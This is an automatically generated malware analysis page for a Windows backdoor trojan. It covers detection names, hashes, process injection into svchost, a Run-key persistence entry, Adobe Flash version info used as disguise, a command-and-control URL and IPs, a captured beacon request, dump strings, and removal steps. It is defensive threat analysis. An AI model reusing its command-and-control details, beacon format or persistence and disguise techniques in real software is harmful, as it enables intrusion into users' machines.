Gen.Variant.Kazy.290327_70660f396d

by malwarelabrobot on December 27th, 2014 in Malware Descriptions.

Gen:Variant.Kazy.290327 (BitDefender), Backdoor:Win32/Simbot.gen (Microsoft), Trojan.Win32.Inject.azgw (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.DownLoader6.7800 (DrWeb), Gen:Variant.Kazy.290327 (B) (Emsisoft), BackDoor-EYG (McAfee), Trojan Horse (Symantec), Trojan.Win32.Inject (Ikarus), Gen:Variant.Kazy.290327 (FSecure), Generic_r.EAU (AVG), Win32:Taidoor-D [Trj] (Avast), TROJ_KRYPTK.SMS (TrendMicro), Gen:Variant.Kazy.290327 (AdAware), Backdoor.Win32.Simbot.FD, BackdoorSimbot.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 70660f396dc500df2cab297e88ced844
SHA1: 46cf369b078e4ba6bf37d4581a2384af2546613b
SHA256: 0f576151dd81d4389636213e7f2593adbd40e46d29441ac6b84c2917e22f202d
SSDeep: 384:FPFB47j1GH/WOcj/GacWyVybRsw9y/k63Mz ELQHlDT9Bn CGjIQy7kQ81qHv:FPFRA/X3ysdR4/kDtLWDgxIQwk7u
Size: 27136 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-29 09:37:00
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:860
regedit.exe:192

The Trojan injects its code into the following process(es):

svchost.exe:1912

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:860 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
C:\%original file name%.exe.tmp1 (1257 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\[email protected] (48 bytes)

Registry activity

The process %original file name%.exe:860 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5B FA 5A 38 AA D1 CD 46 BA 8E A2 20 7C 4B 83 9D"

The process regedit.exe:192 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "18 82 61 10 92 83 63 29 8F B1 77 10 C2 59 A1 03"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"NetDDEdsdm" = "%Documents and Settings%\%current user%\Local Settings\NetDDEdsdm.exe"

Dropped PE files

MD5 File path
ed8ff4779a69f09af19ebe35e829e89c c:\Documents and Settings\"%CurrentUserName%"\Local Settings\NetDDEdsdm.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: Adobe Systems, Inc.
Product Name: Flash? Player Installer/Uninstaller
Product Version: 10,1,53,64
Legal Copyright: Copyright ? 1996-2010 Adobe, Inc.
Legal Trademarks: Adobe? Flash? Player
Original Filename: FlashUtil.exe
Internal Name: Adobe? Flash? Player Installer/Uninstaller 10.1
File Version: 10,1,53,64
File Description: Adobe? Flash? Player Installer/Uninstaller 10.1 r53
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 22760 23040 5.0913 308da0878ceed0ed52f1ca739991dab7
.rdata 28672 996 1024 3.17402 d214cdade079311d21d114ce97e26661
.data 32768 931 512 2.46891 6a1a4e26e899812a0991c26df36abb11
.rsrc 36864 1136 1536 1.84173 b5ed7b029bc65184d8f3a398fb854e6d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 5
0259ceb5059c50e42b40e716762afacc
51efb275229d9f3cee6be6c9cd96909c
4d13d3b974553aa6cfa3bfa6117d0a79
2281c3ccbd6c759193f51fbe17deda94
2ae5f6ec60e42477a9a05f0a19357993

URLs

URL IP
hxxp://www.gov.toh.info/jilyh.php?id=031648111D30FD8GD6 211.234.117.178


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /jilyh.php?id=031648111D30FD8GD6 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: VVV.gov.toh.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Fri, 26 Dec 2014 10:59:29 GMT
Server: Apache/2.2.15 (CentOS)
Content-Length: 289
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ji
lyh.php was not found on this server.</p>.<hr>.<address
>Apache/2.2.15 (CentOS) Server at VVV.gov.toh.info Port 80</addr
ess>.</body></html>...

The Trojan connects to the servers at the folowing location(s):

svchost.exe_1912:

.text
`.rdata
@.data
SSh@C@
MFC42.DLL
MSVCRT.dll
_acmdln
WinExec
KERNEL32.dll
USER32.dll
ADVAPI32.dll
HttpQueryInfoA
InternetOpenUrlA
HttpSendRequestA
HttpOpenRequestA
WININET.dll
WS2_32.dll
iphlpapi.dll
SHLWAPI.dll
VVV.gov.toh.info
200.115.173.102
regedit.exe /s
~dfds3.reg
Windows Registry Editor Version 5.00
"%s"="%s"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WinHttp
%s.tmp1
[email protected]
hXXp://%s:%d/%s.php?id=d%s&ext=%s
/%s.php?id=d%s&ext=%s
hXXp://%s:%d/%s.php?id=d%s
%c%c%c%c%c
/%s.php?id=d%s
%%temp%%\%u
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
X-X-X-X-X-X
01-01-01-01-01-01
%c%c%c%c%c%c.exe

svchost.exe_1912_rwx_00400000_00005000:

.text
`.rdata
@.data
SSh@C@
MFC42.DLL
MSVCRT.dll
_acmdln
WinExec
KERNEL32.dll
USER32.dll
ADVAPI32.dll
HttpQueryInfoA
InternetOpenUrlA
HttpSendRequestA
HttpOpenRequestA
WININET.dll
WS2_32.dll
iphlpapi.dll
SHLWAPI.dll
VVV.gov.toh.info
200.115.173.102
regedit.exe /s
~dfds3.reg
Windows Registry Editor Version 5.00
"%s"="%s"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WinHttp
%s.tmp1
[email protected]
hXXp://%s:%d/%s.php?id=d%s&ext=%s
/%s.php?id=d%s&ext=%s
hXXp://%s:%d/%s.php?id=d%s
%c%c%c%c%c
/%s.php?id=d%s
%%temp%%\%u
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
X-X-X-X-X-X
01-01-01-01-01-01
%c%c%c%c%c%c.exe


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:860
    regedit.exe:192

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
    C:\%original file name%.exe.tmp1 (1257 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\[email protected] (48 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "NetDDEdsdm" = "%Documents and Settings%\%current user%\Local Settings\NetDDEdsdm.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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